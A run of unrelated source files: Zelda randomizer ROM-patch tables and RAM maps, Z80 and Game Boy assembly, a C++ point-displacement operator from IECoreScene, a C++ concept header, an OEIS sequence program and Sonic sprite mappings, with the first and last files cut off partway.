$76 ; move tile and turn into chest orig: $3F, $14 ;PC 0x50599: $38; lock door into room orig: $00 ;PC 0xE9A5: $10, $00, $58 ; borrow unused Ice Palace dungeon secret to fill chest orig: $7E, $00, $24 ;-------------------------------------------------------------------------------- ;00:Fighter's Sword (1) and Fighter's Shield (1) ;01:Master Sword (2) ;02:Tempered Sword (3) ;03:Golden Sword (4) ;04:Fighter's Shield (1) ;05:Red Shield (2) ;06:Mirror Shield (3) ;07:FireRod ;08:IceRod ;09:Hammer ;0A:HookShot ;0B:Bow ;0C:Boomerang (Alternate = 10 Arrows) ;0D:Powder ;0E:Bee ;0F:Bombos ;10:Ether ;11:Quake ;12:Lamp (Alternate = 5 Rupees) ;13:Shovel ;14:Flute ;15:Red Cane ;16:Bottle ;17:Heart Piece ;18:Blue Cane ;19:Cape ;1A:Mirror ;1B:Power Glove (1) ;1C:Titan Mitts (2) ;1D:Book ;1E:Flippers ;1F:Moon Pearl ;20:Crystal ;21:Net ;22:Blue Mail (2) ;23:Red Mail (3) ;24:Small Key ;25:Compass ;26:Heart Piece Completion Heart ;27:Bomb ;28:3 Bombs ;29:Mushroom ;2A:Red Boomerang (Alternate = 300 Rupees) ;2B:Red Potion (with bottle) ;2C:Green Potion (with bottle) ;2D:Blue Potion (with bottle) ;2E:Red Potion (without bottle) ;2F:Green Potion (without bottle) ;30:Blue Potion (without bottle) ;31:10 Bombs ;32:Big Key ;33:Map ;34:1 Rupee ;35:5 Rupees ;36:20 Rupees ;37:Pendant 1 ;38:Pendant 2 ;39:Pendant 3 ;3A:Bow And Arrows (Different from "Bow", thrown into Fairy Fountains) ;3B:Bow And Silver Arrows ;3C:Bee ;3D:Fairy ;3E:Boss Heart ;3F:Sanctuary Heart ;40:100 Rupees ;41:50 Rupees ;42:Heart ;43:Arrow ;44:10 Arrows ;45:Magic ;46:300 Rupees ;47:20 Rupees ;48:Gold Bee ;49:Fighter's Sword (1) (without shield, thrown into Fairy Fountains) ;4A:Flute ;4B:Boots ;4C:Max Bombs ;4D:Max Arrows ;4E:Half Magic ;4F:Quarter Magic ;50:Master Sword (No Special Handling) ;51:+5 Bombs ;52:+10 Bombs ;53:+5 Arrows ;54:+10 Arrows ;55:Programmable Item 1 ;56:Programmable Item 2 ;57:Programmable Item 3 ;58:Upgrade-Only Silver Arrows ;59:Rupoor ;5A:Null Item ;5B:Red Clock ;5C:Blue Clock ;5D:Green Clock ;5E:Progressive Sword ;5F:Progressive Shield ;60:Progressive Armor ;61:Progressive Lifting Glove ;62:RNG Pool Item (Single) ;63:RNG Pool Item (Multi) ;6A:Goal Item (Single/Triforce) ;6B:Goal Item (Multi/Power Star) ;DO NOT PLACE FREE DUNGEON ITEMS WITHIN THEIR OWN DUNGEONS - USE THE NORMAL VARIANTS ;70 - Map of Light World ;71 - Map of Dark World ;72 - Map of Ganon's Tower ;73 - Map of Turtle Rock ;74 - Map of Thieves' Town ;75 - Map of Tower of Hera ;76 - Map of Ice Palace ;77 - Map of Skull Woods ;78 - Map of Misery Mire ;79 - Map of Dark Palace ;7A - Map of Swamp Palace ;7B - Map of Agahnim's Tower ;7C - Map of Desert Palace ;7D - Map of Eastern Palace ;7E - Map of Hyrule Castle ;7F - Map of Sewers ;80 - Compass of Light World ;81 - Compass of Dark World ;82 - Compass of Ganon's Tower ;83 - Compass of Turtle Rock ;84 - Compass of Thieves' Town ;85 - Compass of Tower of Hera ;86 - Compass of Ice Palace ;87 - Compass of Skull Woods ;88 - Compass of Misery Mire ;89 - Compass of Dark Palace ;8A - Compass of Swamp Palace ;8B - Compass of Agahnim's Tower ;8C - Compass of Desert Palace ;8D - Compass of Eastern Palace ;8E - Compass of Hyrule Castle ;8F - Compass of Sewers ;90 - Skull Key ;91 - Reserved ;92 - Big Key of Ganon's Tower ;93 - Big Key of Turtle Rock ;94 - Big Key of Thieves' Town ;95 - Big Key of Tower of Hera ;96 - Big Key of Ice Palace ;97 - Big Key of Skull Woods ;98 - Big Key of Misery Mire ;99 - Big Key of Dark Palace ;9A - Big Key of Swamp Palace ;9B - Big Key of Agahnim's Tower ;9C - Big Key of Desert Palace ;9D - Big Key of Eastern Palace ;9E - Big Key of Hyrule Castle ;9F - Big Key of Sewers ;A0 - Small Key of Sewers ;A1 - Small Key of Hyrule Castle ;A2 - Small Key of Eastern Palace ;A3 - Small Key of Desert Palace ;A4 - Small Key of Agahnim's Tower ;A5 - Small Key of Swamp Palace ;A6 - Small Key of Dark Palace ;A7 - Small Key of Misery Mire ;A8 - Small Key of Skull Woods ;A9 - Small Key of Ice Palace ;AA - Small Key of Tower of Hera ;AB - Small Key of Thieves' Town ;AC - Small Key of Turtle Rock ;AD - Small Key of Ganon's Tower ;AE - Reserved ;AF - Generic Small Key ;================================================================================ ;Vortexes org $05AF79 ; PC 0x2AF79 (sprite_warp_vortex.asm:18) (BNE) db #$D0 ; #$D0 - Light-to-Dark (Default), #$F0 - Dark-to-Light, #$42 - Both Directions ;Mirror org $07A943 ; PC 013A943 (Bank07.asm:6548) (BNE) db #$D0 ; #$D0 - Dark-to-Light (Default), #$F0 - Light-to-Dark, #$42 - Both Directions ;Residual Portal org $07A96D ; PC 013A96D (Bank07.asm:6578) (BEQ) db #$F0 ; #$F0 - Light Side (Default), #$D0 - Dark Side, #$42 - Both Sides org $07A9A7 ; PC 013A9A7 (Bank07.asm:6622) (BNE) db #$D0 ; #$D0 - Light Side (Default), #$F0 - Dark Side, #$42 - Both Sides ;================================================================================ org $0DDBEC ; <- 6DBEC dw #10000 ; Rupee Limit +1 org $0DDBF1 ; <- 6DBF1 dw #9999 ; Rupee Limit ;================================================================================ ;2B:Bottle Already Filled w/ Red Potion ;2C:Bottle Already Filled w/ Green Potion ;2D:Bottle Already Filled w/ Blue Potion ;3C:Bottle Already Filled w/ Bee ;3D:Bottle Already Filled w/ Fairy ;48:Bottle Already Filled w/ Gold Bee ;================================================================================ ; $2F8000 - $2F83FF - RNG Block ;================================================================================ ; $7EC025 - $7EC034 - Item OAM Table ;================================================================================ ; $7F5000 - Redraw Flag ; $7F5001 - Flipper Softlock Possible ; $7F5002 - L/R Rotate ; $7F5003 - HexToDec 1st Digit ; $7F5004 - HexToDec 2nd Digit ; $7F5005 - HexToDec 3rd Digit ; $7F5006 - HexToDec 4th Digit ; $7F5007 - HexToDec 5th Digit ; $7F5008 - Skip Sprite_DrawMultiple EOR ; $7F5009 - Always Zero ; $7F5010 - Scratch Space (Callee Preserved) ; $7F5020 - Scratch Space (Caller Preserved) ; $7F5030 - Jar Cursor Status ; $7F5031 - HUD Master Sword Flag ; $7F5032 - Ganon Warp Chain Flag ; $7F5033 - Force Heart Spawn Counter ; $7F5034 - Skip Heart Collection Save Counter ; $7F5035 - Alternate Text Pointer Flag ; 0=Disable ; $7F5036 - Padding Byte (Must be Zero) ; $7F5037 - Stats Boss Kills ; $7F5038 - Stats Lag Time ; $7F5039 - Stats Lag Time ; $7F503A - Stats Lag Time ; $7F503B - Stats Lag Time ; $7F503C - Stats Rupee Total ; $7F503D - Stats Rupee Total ; $7F503E - Stats Item Total ; $7F503F - Bonk Repeat ; $7F5040 - Free Item Dialog Temporary ; $7F5041 - Unused ; $7F5042 - Tile Upload Offset Override (Low) ; $7F5043 - Tile Upload Offset Override (High) ; $7F5044 - $7F5046 - NMI Auxiliary Function ; $7F5047 - $7F504F - Unused ; $7F5050 - $7F506F - Shop Block ; $7F5070 - $7F507D - Unused ; $7F507E - Clock Status ; $7F507F - Always Zero ; $7F5080 - $7F5083 - Clock Hours ; $7F5084 - $7F5087 - Clock Minutes ; $7F5088 - $7F508B - Clock Seconds ; $7F508C - $7F508F - Clock Temporary ; $7F5090 - RNG Item Lock-In ; $7F5091 - Item Animation Busy Flag ; $7F5092 - Potion Animation Busy Flags (Health) ; $7F5093 - Potion Animation Busy Flags (Magic) ; $7F5094 - Dialog Offset Pointer (Low) ; $7F5095 - Dialog Offset Pointer (High) ; $7F5096 - Dialog Offset Pointer Return (Low) ; $7F5097 - Dialog Offset Pointer Return (High) ; $7F5098 - Water Entry Index ; $7F5099 - Last Entered Overworld Door ID ; $7F509A - (Reserved) ; $7F509B - MSU Flag ; $7F50A0 - Event Parameter 1 ; $7F50B0 - $7F50BF - Downstream Reserved (Enemizer) ; $7F50C0 - Sword Modifier ; $7F50C1 - Shield Modifier (Not Implemented) ; $7F50C2 - Armor Modifier ; $7F50C3 - Magic Modifier ; $7F50C4 - Light Cone Modifier ; $7F50C5 - Cucco Attack Modifier ; $7F50C6 - Old Man Dash Modifier ; $7F50C7 - Ice Physics Modifier ; $7F50C8 - Infinite Arrows Modifier ; $7F50C9 - Infinite Bombs Modifier ; $7F50CA - Infinite Magic Modifier ; $7F50CB - Invert D-Pad ; $7F50CC - Temporary OHKO ; $7F50CD - Sprite Swapper ; $7F50D0 - $7F50FF - Block Cypher Parameters ; $7F5100 - $7F51FF - Block Cypher Buffer ; $7F5200 - $7F52FF - RNG Pointer Block ; ; $7F5700 - $7F57FF - Dialog Buffer ;================================================================================ !BIGRAM = "$7EC900"; ; $7EC900 - Big RAM Buffer ($1F00) ;================================================================================ org $402100 ; PC 0x182100 - 0x182304 EntranceDoorFrameTable: ; data for multi-entrance caves dw $0816, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $05cc, $05d4, $0bb6, $0b86 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000 ; simple caves: dw $0000, $0000, $0DE8, $0B98, $14CE, $0000, $1C50, $FFFF dw $1466, $0000, $1AB6, $0B98, $1AB6, $040E, $9C0C, $1530 dw $0A98, $0000, $0000, $0000, $0000, $0000, $0000, $0816 dw $0DE8, $0000, $0000, $0000, $0000, $09AC, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $041A, $0000, $091E, $09AC, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0AA8, $07AA, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000 EntranceAltDoorFrameTable: dw $0000, $01aa, $8124, $87be, $8158, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $82be, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000 ;-------------------------------------------------------------------------------- ; 0x182305 - 182FFF (unused) ;================================================================================ org $403000 ; PC 0x183000 - 0x183054 StartingEquipment: dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $1818, $FF00 dw $0000, $0000, $0000, $0000, $F800, $0000, $0000, $0000 dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000 dw $0000, $0000 ;-------------------------------------------------------------------------------- ; 0x182355 - 183FFF (unused) ;================================================================================ org $404000 ; PC 0x184000 - 0x184007 ItemSubstitutionRules: ;db [item][quantity][substitution][pad] - CURRENT LIMIT 16 ENTRIES db $12, $01, $35, $FF db $FF, $FF, $FF, $FF ;-------------------------------------------------------------------------------- ; 0x184008 - 0x1847FF (unused) ;================================================================================ ;shop_config - tda- --qq ; t - 0=Shop - 1=TakeAny ; d - 0=Check Door - 1=Skip Door Check ; a - 0=Shop/TakeAny - 1=TakeAll ; qq - # of items for sale ;shopkeeper_config - ppp- --ss ; ppp - palette ; ss - sprite type org $404800 ; PC 0x184800 - 0x1848FF - max 32 shops ; do not exceed 36 tracked items sram_index > ($24) ShopTable: ;db [id][roomID-low][roomID-high][doorID][zero][shop_config][shopkeeper_config][sram_index] db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;db $01, $FF, $00, $00, $00, $43, $A0, $00 ;db $02, $0F, $01, $60, $00, $03, $C1, $03 ;db $FF, $12, $01, $58, $00, $81, $E3, $06 ;db $02, $0F, $01, $57, $00, $03, $A0, $09 ;db $03, $0F, $01, $60, $00, $03, $A0, $0c ;db $04, $0F, $01, $6F, $00, $03, $A0, $0f ;db $05, $FF, $00, $00, $00, $03, $A0, $12 ;db $06, $1F, $01, $46, $00, $03, $A0, $15 ;db $FF, $12, $01, $58, $00, $03, $A0, $18 org $404900 ; PC 0x184900 - 0x184FFF - max 224 entries ShopContentsTable: ;db [id][item][price-low][price-high][max][repl_id][repl_price-low][repl_price-high] ;db $01, $2E, $96, $00, $00, $FF, $00, $00 ;db $01, $AF, $50, $00, $00, $FF, $00, $00 ;db $01, $31, $32, $00, $00, $FF, $00, $00 ;db $02, $2E, $96, $00, $00, $FF, $00, $00 ;db $02, $AF, $50, $00, $00, $FF, $00, $00 ;db $02, $31, $32, $00, $00, $FF, $00, $00 ;db $FF, $5E, $96, $00, $00, $FF, $00, $00 ;db $FF, $30, $2C, $01, $00, $FF, $00, $00 ;db $FF, $31, $32, $00, $00, $FF, $00, $00 db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;================================================================================ org $405000 ; PC 0x185000 - 0x18503F MSUTrackList: db $00,$01,$03,$03,$03,$03,$03,$03 db $01,$03,$01,$03,$03,$03,$03,$03 db $03,$03,$03,$01,$03,$03,$03,$03 db $03,$03,$03,$03,$03,$01,$03,$03 db $03,$01,$01,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ;-------------------------------------------------------------------------------- ; 0x185040 - 1850FF (unused) ;-------------------------------------------------------------------------------- org $405100 ; PC 0x185100 - 0x18513F UnusedTable: ; please do not move this - kkat db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ;-------------------------------------------------------------------------------- ; 0x185140 - 187EFF (unused) ;-------------------------------------------------------------------------------- org $407F00 ; PC 0x187F00 - PC 0x187FFF NameHashTable: ; change this for each new version - MOVE THIS TO BANK $30 db $57, $41, $D6, $7A, $E0, $10, $8A, $97, $A2, $89, $82, $45, $46, $1C, $DF, $F7 db $55, $0F, $1D, $56, $AC, $29, $DC, $D1, $25, $2A, $C5, $92, $42, $B7, $BE, $50 db $64, $62, $31, $E8, $49, $63, $40, $5F, $C9, $47, $F6, $0B, $FA, $FC, $E4, $F0 db $E6, $8F, $6D, $B1, $68, $A4, $D3, $0E, $54, $5D, $6B, $CF, $20, $69, $33, $07 db $2C, $4D, $32, $77, $C1, $95, $7B, $DE, $66, $8C, $35, $84, $86, $7C, $44, $1A db $3E, $15, $D4, $0C, $B5, $90, $4C, $B2, $26, $1E, $38, $C0, $76, $9C, $2B, $7F db $5E, $D5, $75, $B6, $E3, $7D, $8D, $72, $3A, $CB, $6F, $5B, $AD, $BD, $F1, $BB db $05, $9A, $F4, $03, $02, $FF, $DA, $4F, $93, $B3, $14, $EC, $EE, $D7, $F9, $96 db $A7, $13, $CA, $BF, $88, $19, $A3, $78, $24, $87, $3C, $9E, $B4, $27, $C2, $AF db $80, $C4, $C8, $6C, $E9, $94, $F8, $8B, $3D, $34, $A6, $53, $17, $22, $F3, $A5 db $1B, $2E, $06, $39, $D2, $43, $73, $12, $09, $58, $30, $5C, $99, $98, $9F, $ED db $37, $67, $EA, $BA, $E7, $D9, $81, $08, $7E, $BC, $70, $5A, $51, $C3, $B9, $61 db $36, $4B, $A8, $01, $65, $3B, $EF, $59, $04, $18, $79, $0D, $DD, $CE, $CC, $AE db $83, $21, $EB, $6E, $0A, $71, $B0, $11, $85, $C7, $A1, $FD, $E5, $16, $48, $FB db $F2, $23, $2F, $28, $9B, $AA, $AB, $D0, $6A, $9D, $C6, $2D, $00, $FE, $E1, $3F db $A0, $4A, $B8, $4E, $74, $1F, $8E, $A9, $F5, $CD, $60, $91, $DB, $D8, $52, $E2 ;--------------------------------------------------------------------------------
; float tan(float x) SECTION code_fp_math48 PUBLIC cm48_sdccix_tan EXTERN cm48_sdccix_tan_fastcall cm48_sdccix_tan: pop af pop hl pop de push de push hl push af jp cm48_sdccix_tan_fastcall
PrepareOAMData:: ; Determine OAM data for currently visible ; sprites and write it to wOAMBuffer. ld a, [wUpdateSpritesEnabled] dec a jr z, .updateEnabled cp -1 ret nz ld [wUpdateSpritesEnabled], a jp HideSprites .updateEnabled xor a ldh [hOAMBufferOffset], a .spriteLoop ldh [hSpriteOffset2], a ld d, HIGH(wSpriteStateData1) ldh a, [hSpriteOffset2] ld e, a ld a, [de] ; [x#SPRITESTATEDATA1_PICTUREID] and a jp z, .nextSprite inc e inc e ld a, [de] ; [x#SPRITESTATEDATA1_IMAGEINDEX] ld [wd5cd], a cp $ff ; off-screen (don't draw) jr nz, .visible call GetSpriteScreenXY jr .nextSprite .visible cp $a0 ; is the sprite unchanging like an item ball or boulder? jr c, .usefacing ; unchanging and $f add $10 ; skip to the second half of the table which doesn't account for facing direction jr .next .usefacing and $f .next ld l, a ; get sprite priority push de inc d ld a, e add $5 ld e, a ld a, [de] ; [x#SPRITESTATEDATA2_GRASSPRIORITY] and $80 ldh [hSpritePriority], a ; temp store sprite priority pop de ; read the entry from the table ld h, 0 ld bc, SpriteFacingAndAnimationTable add hl, hl add hl, hl add hl, bc ld a, [hli] ld c, a ld a, [hli] ld b, a ld a, [hli] ld h, [hl] ld l, a call GetSpriteScreenXY ldh a, [hOAMBufferOffset] ld e, a ld d, HIGH(wOAMBuffer) .tileLoop ldh a, [hSpriteScreenY] ; temp for sprite Y position add $10 ; Y=16 is top of screen (Y=0 is invisible) add [hl] ; add Y offset from table ld [de], a ; write new sprite OAM Y position inc hl ldh a, [hSpriteScreenX] ; temp for sprite X position add $8 ; X=8 is left of screen (X=0 is invisible) add [hl] ; add X offset from table inc e ld [de], a ; write new sprite OAM X position inc e ld a, [bc] ; read pattern number offset (accommodates orientation (offset 0,4 or 8) and animation (offset 0 or $80)) inc bc push bc ld b, a ld a, [wd5cd] ; temp copy of [x#SPRITESTATEDATA1_IMAGEINDEX] swap a ; high nybble determines sprite used (0 is always player sprite, next are some npcs) and $f ; Sprites $a and $b have one face (and therefore 4 tiles instead of 12). ; As a result, sprite $b's tile offset is less than normal. cp $b jr nz, .notFourTileSprite ld a, $a * 12 + 4 jr .next2 .notFourTileSprite ; a *= 12 sla a sla a ld c, a sla a add c .next2 add b ; add the tile offset from the table (based on frame and facing direction) pop bc ld [de], a ; tile id inc hl inc e ld a, [hl] bit 1, a ; is the tile allowed to set the sprite priority bit? jr z, .skipPriority ldh a, [hSpritePriority] or [hl] .skipPriority inc hl ld [de], a inc e bit 0, a ; OAMFLAG_ENDOFDATA jr z, .tileLoop ld a, e ldh [hOAMBufferOffset], a .nextSprite ldh a, [hSpriteOffset2] add $10 cp LOW($100) jp nz, .spriteLoop ; Clear unused OAM. ldh a, [hOAMBufferOffset] ld l, a ld h, HIGH(wOAMBuffer) ld de, $4 ld b, $a0 ld a, [wd736] bit 6, a ; jumping down ledge or fishing animation? ld a, $a0 jr z, .clear ; Don't clear the last 4 entries because they are used for the shadow in the ; jumping down ledge animation and the rod in the fishing animation. ld a, $90 .clear cp l ret z ld [hl], b add hl, de jr .clear GetSpriteScreenXY: inc e inc e ld a, [de] ; [x#SPRITESTATEDATA1_YPIXELS] ldh [hSpriteScreenY], a inc e inc e ld a, [de] ; [x#SPRITESTATEDATA1_XPIXELS] ldh [hSpriteScreenX], a ld a, 4 add e ld e, a ldh a, [hSpriteScreenY] add 4 and $f0 ld [de], a ; [x#SPRITESTATEDATA1_YADJUSTED] inc e ldh a, [hSpriteScreenX] and $f0 ld [de], a ; [x#SPRITESTATEDATA1_XADJUSTED] ret
////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2007-2010, Image Engine Design Inc. All rights reserved. // // Copyright 2010 Dr D Studios Pty Limited (ACN 127 184 954) (Dr. D Studios), // its affiliates and/or its licensors. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // * Neither the name of Image Engine Design nor the names of any // other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////// #include "IECoreScene/PointVelocityDisplaceOp.h" #include "IECoreScene/PointsPrimitive.h" #include "IECoreScene/TypedPrimitiveParameter.h" #include "IECore/CompoundObject.h" #include "IECore/CompoundParameter.h" #include "IECore/Object.h" #include "IECore/ObjectParameter.h" #include "IECore/SimpleTypedParameter.h" #include "IECore/TypedParameter.h" #include "IECore/VectorTypedData.h" using namespace IECore; using namespace IECoreScene; using namespace Imath; using namespace std; using namespace boost; IE_CORE_DEFINERUNTIMETYPED( PointVelocityDisplaceOp ); PointVelocityDisplaceOp::PointVelocityDisplaceOp() : ModifyOp( "Displaces points using a velocity attribute.", new PrimitiveParameter( "result", "The updated Primitive with displace points.", new PointsPrimitive() ), new PrimitiveParameter( "input", "The input Primitive with points to displace.", new PointsPrimitive() ) ) { m_positionVarParameter = new StringParameter( "positionVar", "The variable name to use as per-point position.", "P" ); m_velocityVarParameter = new StringParameter( "velocityVar", "The variable name to use as per-point velocity.", "v" ); m_sampleLengthParameter = new FloatParameter( "sampleLength", "The sample time across which to displace P.", 1.0 ); m_sampleLengthVarParameter = new StringParameter( "sampleLengthVar", "The variable name to use as per-point sample length.", "" ); parameters()->addParameter( m_positionVarParameter ); parameters()->addParameter( m_velocityVarParameter ); parameters()->addParameter( m_sampleLengthParameter ); parameters()->addParameter( m_sampleLengthVarParameter ); } PointVelocityDisplaceOp::~PointVelocityDisplaceOp() { } StringParameter * PointVelocityDisplaceOp::positionVarParameter() { return m_positionVarParameter.get(); } const StringParameter * PointVelocityDisplaceOp::positionVarParameter() const { return m_positionVarParameter.get(); } StringParameter * PointVelocityDisplaceOp::velocityVarParameter() { return m_velocityVarParameter.get(); } const StringParameter * PointVelocityDisplaceOp::velocityVarParameter() const { return m_velocityVarParameter.get(); } FloatParameter * PointVelocityDisplaceOp::sampleLengthParameter() { return m_sampleLengthParameter.get(); } const FloatParameter * PointVelocityDisplaceOp::sampleLengthParameter() const { return m_sampleLengthParameter.get(); } StringParameter * PointVelocityDisplaceOp::sampleLengthVarParameter() { return m_sampleLengthVarParameter.get(); } const StringParameter * PointVelocityDisplaceOp::sampleLengthVarParameter() const { return m_sampleLengthVarParameter.get(); } void PointVelocityDisplaceOp::modify( Object *input, const CompoundObject *operands ) { // get input and parameters Primitive *pt = static_cast<Primitive *>( input ); std::string position_var = operands->member<StringData>( "positionVar" )->readable(); std::string velocity_var = operands->member<StringData>( "velocityVar" )->readable(); float sample_length = operands->member<FloatData>( "sampleLength" )->readable(); std::string sample_length_var = operands->member<StringData>( "sampleLengthVar" )->readable(); // should we look for pp sample length? bool use_pp_sample_length = ( sample_length_var!="" ); // check for variables if ( pt->variables.count(position_var)==0 ) { throw Exception( "Could not find position variable on primitive!" ); } if ( pt->variables.count(velocity_var)==0 ) { throw Exception( "Could not find velocity variable on primitive!" ); } // access our P & V information V3fVectorData *p = pt->variableData<V3fVectorData>(position_var); V3fVectorData *v = pt->variableData<V3fVectorData>(velocity_var); if ( !p || !v ) { throw Exception("Could not get position and velocity data from primitive!"); } // check P and V are the same length std::vector<V3f> &p_data = p->writable(); const std::vector<V3f> &v_data = v->readable(); if ( p_data.size()!=v_data.size() ) { throw Exception("Position and velocity variables must be the same length!"); } // update p using v if ( !use_pp_sample_length ) { std::vector<V3f>::iterator p_it = p_data.begin(); std::vector<V3f>::const_iterator v_it = v_data.begin(); for ( p_it=p_data.begin(), v_it=v_data.begin(); p_it!=p_data.end(); ++p_it, ++v_it ) { (*p_it) += (*v_it) * sample_length; } } else { // check for pp sample length variable if( pt->variables.count(sample_length_var)==0 ) { throw Exception( "Could not find sample length variable on primitive!" ); } // get data from parameter FloatVectorData *s = pt->variableData<FloatVectorData>(sample_length_var); if ( !s ) { throw Exception("Could not get scale length data from primitive!"); } // check size against p_data const std::vector<float> &s_data = s->readable(); if ( s_data.size()!=p_data.size() ) { throw Exception("Position and scale length variables must be the same length!"); } std::vector<V3f>::iterator p_it = p_data.begin(); std::vector<V3f>::const_iterator v_it = v_data.begin(); std::vector<float>::const_iterator s_it = s_data.begin(); for ( p_it=p_data.begin(), v_it=v_data.begin(), s_it=s_data.begin(); p_it!=p_data.end(); ++p_it, ++v_it, ++s_it ) { (*p_it) += (*v_it) * (*s_it) * sample_length; } } }
#pragma once namespace lux { namespace concepts { ///Returns at compile-time if T and U types share a bitwise and assignment 't &= t' or 't &= u' operator overloading template<class T, class U = T> concept has_and_assignment = requires(T t, U u) {t &= u;}; } } /** @example concepts/has_and_assignment.cpp */
org 0 JMPADDR start org 100 semaforo db 0 org 110 sevenseg db 0 org 120 asciidisp1 db 0 asciidisp2 db 0 org 130 keyb db 0 org 10 start: LOADIM R5,#0A8 STORE semaforo,R5 LOADIM R5,#0FF STORE semaforo,R5 LOADIM R5,#0F2 STORE sevenseg,R5 LOADIM R5,#0B7 STORE sevenseg,R5 LOAD R5,keyb LOAD R6,keyb ADDIM R5,#31 ADDIM R6,#22 STORE asciidisp1,R5 STORE asciidisp2,R6
; A011656: A binary m-sequence: expansion of reciprocal of x^3 + x^2 + 1 (mod 2), shifted by 2 initial 0's. ; 0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,1 add $0,11 mov $2,1 lpb $0,1 add $0,$2 mod $0,7 cmp $1,0 sub $2,9 lpe
; --------------------------------------------------------------------------- ; Sprite mappings - doors (SBZ) ; --------------------------------------------------------------------------- Map_ADoor_internal: dc.w @closed-Map_ADoor_internal dc.w @01-Map_ADoor_internal dc.w @02-Map_ADoor_internal dc.w @03-Map_ADoor_internal dc.w @04-Map_ADoor_internal dc.w @05-Map_ADoor_internal dc.w @06-Map_ADoor_internal dc.w @07-Map_ADoor_internal dc.w @open-Map_ADoor_internal @closed: dc.b 2 dc.b $E0, 7, 8, 0, $F8 ; door closed dc.b 0, 7, 8, 0, $F8 @01: dc.b 2 dc.b $DC, 7, 8, 0, $F8 dc.b 4, 7, 8, 0, $F8 @02: dc.b 2 dc.b $D8, 7, 8, 0, $F8 dc.b 8, 7, 8, 0, $F8 @03: dc.b 2 dc.b $D4, 7, 8, 0, $F8 dc.b $C, 7, 8, 0, $F8 @04: dc.b 2 dc.b $D0, 7, 8, 0, $F8 dc.b $10, 7, 8, 0, $F8 @05: dc.b 2 dc.b $CC, 7, 8, 0, $F8 dc.b $14, 7, 8, 0, $F8 @06: dc.b 2 dc.b $C8, 7, 8, 0, $F8 dc.b $18, 7, 8, 0, $F8 @07: dc.b 2 dc.b 